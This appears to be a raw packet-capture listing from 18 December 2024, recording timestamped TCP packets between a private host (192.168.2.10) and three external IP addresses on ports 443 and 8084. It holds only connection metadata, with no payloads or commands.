Dec 18, 2024 13:21:34.706006050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.706026077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.706041098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.708569050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.708585978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.708638906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.708666086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.708777905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.814913988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.814939976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.814985991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.815015078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.815032005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.815908909 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.824265957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.824291945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.824321032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.824342012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.824357033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.824450016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.860632896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.860661030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.860707045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.860723972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.860747099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.860765934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.886846066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.886868954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.886914015 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.886935949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.886946917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.887043953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.889451981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.889472961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.889524937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.889534950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.889549971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.889581919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.891100883 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.891146898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.891163111 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.891175985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.891199112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:34.891204119 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.891226053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.891249895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.891923904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:34.891938925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:37.070306063 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:37.070373058 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:37.074305058 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:37.074305058 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:37.074353933 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:38.904375076 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:38.906308889 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:38.906347036 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:38.906814098 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:38.906829119 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:38.907918930 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:38.908046961 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:38.918632030 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:38.918735027 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:38.923849106 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:38.923866034 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:38.974299908 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:39.640973091 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:39.640996933 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:39.641036987 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:39.641050100 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:39.641068935 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:39.641103029 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:39.641336918 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:39.641347885 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:39.641364098 CET	49825	443	192.168.2.10	107.148.51.200
Dec 18, 2024 13:21:39.641371012 CET	443	49825	107.148.51.200	192.168.2.10
Dec 18, 2024 13:21:39.806052923 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:39.928606033 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:39.928700924 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:39.937208891 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:40.062374115 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.431766987 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.432790041 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.432847023 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.432924032 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.438301086 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.438317060 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.438376904 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.439682007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.439697027 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.439742088 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.443444014 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.443458080 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.443505049 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.623836040 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.643122911 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.643141985 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.643248081 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.647267103 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.647329092 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.648904085 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.648997068 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.649032116 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.657460928 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.658981085 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.659023046 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.659035921 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.664081097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.664129972 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.664153099 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.669152975 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.669189930 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.669251919 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.677860022 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.677923918 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.679296017 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.679393053 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.679428101 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.688002110 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.688064098 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.688106060 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.696757078 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.763103008 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.763156891 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.763180971 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.767188072 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.767244101 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.767273903 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.835539103 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.835589886 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.835613966 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.838922977 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.839020014 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.839061022 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.845936060 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.845988989 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.846051931 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.854665995 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.854737043 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.854758024 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.859842062 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.859931946 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.861944914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.861989975 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.862044096 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.868326902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.869589090 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.869643927 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.869719982 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.876780987 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.876833916 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.879072905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.879101038 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.879143000 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.885298014 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.888850927 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.888928890 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.888941050 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.891031981 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.891088963 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.893728971 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.893817902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.893861055 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.896155119 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.903522968 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.903579950 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.903619051 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.905564070 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.905608892 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.910737991 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.910878897 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.910917044 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.912878036 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.915736914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.915781975 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.915911913 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.918179035 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.918215990 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.920610905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.920713902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.920749903 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.923077106 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.925457001 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.925493956 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.925515890 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.928179979 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.928216934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.955391884 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.955413103 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.955466032 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.957478046 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.958292007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.958328009 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:41.958390951 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.962666035 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:41.962712049 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.027458906 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.027506113 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.027585983 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.029174089 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.029266119 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.029311895 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.032850027 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.032891989 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.032939911 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.036118984 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.036180019 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.036243916 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.039599895 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.039707899 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.039767027 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.042984962 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.043093920 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.043147087 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.046828032 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.046942949 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.049052954 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.049133062 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.065967083 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.066065073 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.066148996 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.067306042 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.070338964 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.080065012 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.080218077 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.080265999 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.081091881 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.081197023 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.082313061 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.083096027 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.083184004 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.085134029 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.085185051 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.085192919 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.085227013 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.086215973 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.086303949 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.088269949 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.088356972 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.088663101 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.088705063 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.088749886 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.090749025 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.094340086 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.096148014 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.096182108 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.097265005 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.097326994 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.103627920 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.103667021 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.103718042 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.104559898 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.104602098 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.111366034 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.111433029 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.111490011 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.112334967 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.121500969 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.121556997 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.121635914 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.122400999 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.126303911 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.131171942 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.131273031 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.132112026 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.132163048 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.139363050 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.139400959 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.139451981 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.140156031 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.140198946 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.143918037 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.144018888 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.144087076 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.144886971 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.152019978 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.152040958 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.152101994 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.153058052 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.153100014 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.157172918 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.157234907 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.157289982 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.158124924 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.162647963 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.162668943 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.162769079 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.163477898 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.163549900 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.172096014 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.172152996 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.172219038 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.172704935 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.172821045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.174166918 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.181878090 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.181994915 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.182333946 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.182858944 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.189625025 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.189682007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.189743042 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.190538883 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.194323063 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.199299097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.199374914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.199429989 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.219492912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.219575882 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.219652891 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.220454931 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.220529079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.222323895 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.222568035 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.222592115 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.223804951 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.224483967 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.224643946 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.226326942 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.226577997 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.228454113 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.228492022 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.228522062 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.229458094 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.229512930 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.233294010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.233381033 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.234296083 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.234309912 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.238513947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.238686085 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.238746881 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.239479065 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.239531994 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.246136904 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.246253967 CET	8084	49833	107.148.62.100	192.168.2.10
